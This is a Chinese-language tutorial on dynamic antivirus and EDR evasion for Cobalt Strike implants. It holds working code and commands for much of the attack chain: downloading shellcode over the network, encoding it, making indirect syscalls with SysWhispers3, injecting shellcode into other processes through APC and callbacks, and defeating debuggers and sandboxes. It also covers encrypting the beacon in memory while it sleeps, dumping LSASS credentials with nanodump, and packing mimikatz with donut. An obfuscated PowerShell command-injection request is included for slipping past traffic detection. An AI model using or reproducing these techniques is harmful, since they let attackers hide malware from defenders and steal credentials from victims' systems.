动态逃逸杀软的艺术
字数 1815 2025-08-22 22:47:39
动态逃逸杀软技术全面指南
1. 流量规避技术
1.1 Cobalt Strike Profile修改
- 问题分析:默认jquery流量已被杀软标记,HTTPS监听对杀软无效(杀软可解密HTTPS)
- 关键修改点:
- 修改http-get部分:metadata使用base64url编码,header指定Cookie头
- 修改http-post部分:任务结果经过mask加密和base64url编码
- 模拟合法流量(如B站流量)替代可疑的静态资源POST请求
1.2 流量模拟最佳实践
- 使用c2lint工具检查profile效果
- 关闭host_stage避免空间测绘识别C2
- 确保VPS IP未被标记(更换被标记IP)
- 流量特征:
- 使用mask代表随机xor加密
- base64进一步编码降低流量熵值
- 完全融入正常网站流量模式
2. Shellcode处理技术
2.1 网络获取Shellcode
std::vector<unsigned char> DownloadShellcode(const char* url) {
std::vector<unsigned char> shellcode;
HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet) {
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0,
INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
if (hUrl) {
DWORD bytesRead = 0;
const DWORD bufferSize = 4096;
BYTE buffer[bufferSize];
while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hUrl);
}
InternetCloseHandle(hInternet);
}
return shellcode;
}
2.2 Shellcode自解密技术
-
使用SGN工具处理shellcode:
./sgn --arch=64 -S -i shellcode.txt-S:安全生成shellcode--arch=64:处理64位shellcode
-
特点:
- 随机空间大,难以编写Yara规则
- 需要RWX内存权限(EDR/XDR会重点监控)
- 不是万能方案,应作为备选
3. 系统调用技术
3.1 传统API调用流程分析
callback!main+0x99 --> KERNELBASE!VirtualAlloc+0x48 -->
ntdll!NtAllocateVirtualMemory --> ntoskrnl.exe
3.2 直接系统调用
- 汇编实现:
mov r10, rcx mov eax, 18h ; 系统调用号 syscall ret - 问题:系统调用号随Windows版本变化
3.3 间接系统调用(SysWhispers3)
-
生成间接系统调用代码:
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory -o SysWhispers -
关键技术:
- API HASH技术规避硬编码字符串
- 获取随机syscall地址(规避NTDLL hook)
- 跳跃间接系统随机化
-
示例汇编代码:
Sw3NtAllocateVirtualMemory PROC mov [rsp +8], rcx mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 019911121h ; 函数hash call SW3_GetRandomSyscallAddress mov r11, rax mov ecx, 019911121h call SW3_GetSyscallNumber add rsp, 28h mov rcx, [rsp+8] mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r11 ; 跳转到系统调用 Sw3NtAllocateVirtualMemory ENDP
4. Shellcode执行方案
4.1 回调函数执行
-
示例:EnumChildWindows回调
EnumChildWindows(NULL, (WNDENUMPROC)Address, NULL); -
线程池回调示例:
bool CreateAndTriggerEvent(PTP_WAIT_CALLBACK WaitCallback) { HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); PTP_WAIT wait = CreateThreadpoolWait(WaitCallback, NULL, NULL); SetThreadpoolWait(wait, hEvent, NULL); SetEvent(hEvent); WaitForSingleObject(GetCurrentProcess(), INFINITE); return true; } // 触发 CreateAndTriggerEvent((PTP_WAIT_CALLBACK)Address);
4.2 APC注入升级版
-
生成必要API:
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread -o apcsyscall -v -
注入函数示例:
std::tuple<BOOL, PVOID> syscallInject(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) { PVOID pAddress = nullptr; NTSTATUS STATUS1 = Sw3NtAllocateVirtualMemory(hProcess, &pAddress, NULL, &sSizeOfShellcode, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); NTSTATUS STATUS2 = Sw3NtWriteVirtualMemory(hProcess, pAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten); DWORD dwOldProtection = NULL; NTSTATUS STATUS3 = Sw3NtProtectVirtualMemory(hProcess, &pAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection); return std::make_tuple(TRUE, pAddress); }
5. 反调试技术
5.1 异常处理反调试
BOOL isDebugged = TRUE;
LONG WINAPI CustomUnhandledExceptionFilter(PEXCEPTION_POINTERS pExceptionPointers) {
isDebugged = FALSE;
return EXCEPTION_CONTINUE_EXECUTION;
}
int main() {
PTOP_LEVEL_EXCEPTION_FILTER previous = SetUnhandledExceptionFilter(CustomUnhandledExceptionFilter);
RaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO, 0, 0, NULL);
SetUnhandledExceptionFilter(previous);
if(isDebugged) exit(0);
// 正常代码
}
5.2 其他高级反调试技术
6. 反沙箱技术
6.1 TCP关联延迟方案
int hello_tcp(const std::string& ip, int port) {
WinsockInit winsockInit;
Socket socket;
sockaddr_in server_addr = {};
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = inet_addr(ip.c_str());
connect(socket.get(), reinterpret_cast<struct sockaddr*>(&server_addr), sizeof(server_addr));
return 0;
}
// 使用示例
hello_tcp("127.0.0.1", 9999); // 第一次握手
Sleep(60000); // 沙箱可能hook时间为0
hello_tcp("127.0.0.1", 9999); // 检查TCP状态判断是否沙箱
服务端实现:
def tcp_con(sleep=bool):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 9999))
sock.listen(1)
connection, client_address = sock.accept()
connection.close()
if sleep:
time.sleep(600) # 反沙箱睡眠
7. 内存规避技术
7.1 SleepMask技术分析
-
关键结构:
typedef struct { char* beacon_ptr; // beacon基地址 DWORD* sections; // 要加密的内存段列表 HEAP_RECORD* heap_records; // 要加密的堆内存地址 char mask[MASK_SIZE]; // 随机生成的掩码 } SLEEPMASKP; -
加密函数:
void mask_section(SLEEPMASKP* parms, DWORD a, DWORD b) { while(a < b) { *(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE]; a++; } }- XOR加密,调用两次即可解密
- 对.text段修改权限为PAGE_READWRITE
-
Ekko休眠技术:
- 使用CreateTimerQueueTimer和NtContinue实现ROP
- 定时任务序列:
- 100ms: spoof_stack
- 200ms: VirtualProtect
- 300ms: SystemFunction032
- 400+time ms: 重复SystemFunction032
- 500+time ms: 恢复代码段权限
- 600+time ms: 恢复原始栈
- 700+time ms: SetEvent解除阻塞
7.2 SystemFunction032加密
NTSTATUS SystemFunction032(struct ustring* data, const struct ustring* key);
8. 行为规避技术
8.1 进程注入技术
Cobalt Strike默认注入技术:
execute {
CreateThread "ntdll!RtlUserThreadStart+0x42";
CreateThread;
SetThreadContext;
NtQueueApcThread-s;
NtQueueApcThread;
CreateRemoteThread;
RtlCreateUserThread;
}
推荐使用线程池注入等高级注入技术。
8.2 进程链监控绕过
- 进程注入:注入到浏览器等正常网络连接进程
- 父进程欺骗:模拟正常进程调用链
- WinCOM技术:利用COM接口特性
8.3 DLL侧加载(白+黑)
- 利用合法签名程序的DLL加载机制
- 目前仍能绕过大多数EDR检测
8.4 Dump Lsass内存
- 使用nanodump工具:
nanodump --fork --write C:\lsass.dmp - 对抗卡巴斯基需要驱动级技术
9. 通用工具免杀
9.1 PE转Shellcode工具
- pe2shc:
pe2shc.exe <path_to_PE> [output_path] - donut:
donut.exe -i mimikatz.exe -o log.txt -z 1-z:压缩级别(1-4)
10. 测试验证
10.1 编译SleepMask
./build.sh 49 WaitForSingleObject true indirect_randomized ./temp/
10.2 上线测试
- 火绒6.0内存查杀绕过
- 卡巴斯基企业版绕过
11. 高级对抗技术
-
LLVM混淆:每次编译生成不同特征
- 参考KomiMoe大佬的工作
- 注意可能导致加密失效或崩溃
-
流量层漏洞防御绕过:
- 变形POC绕过正则检测
- 示例:
GET /check?cmd=ping//////88ukjvyjufhilhl/2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2FpOweRshELl.exe+'echo%20vF2T7n' HTTP/1.1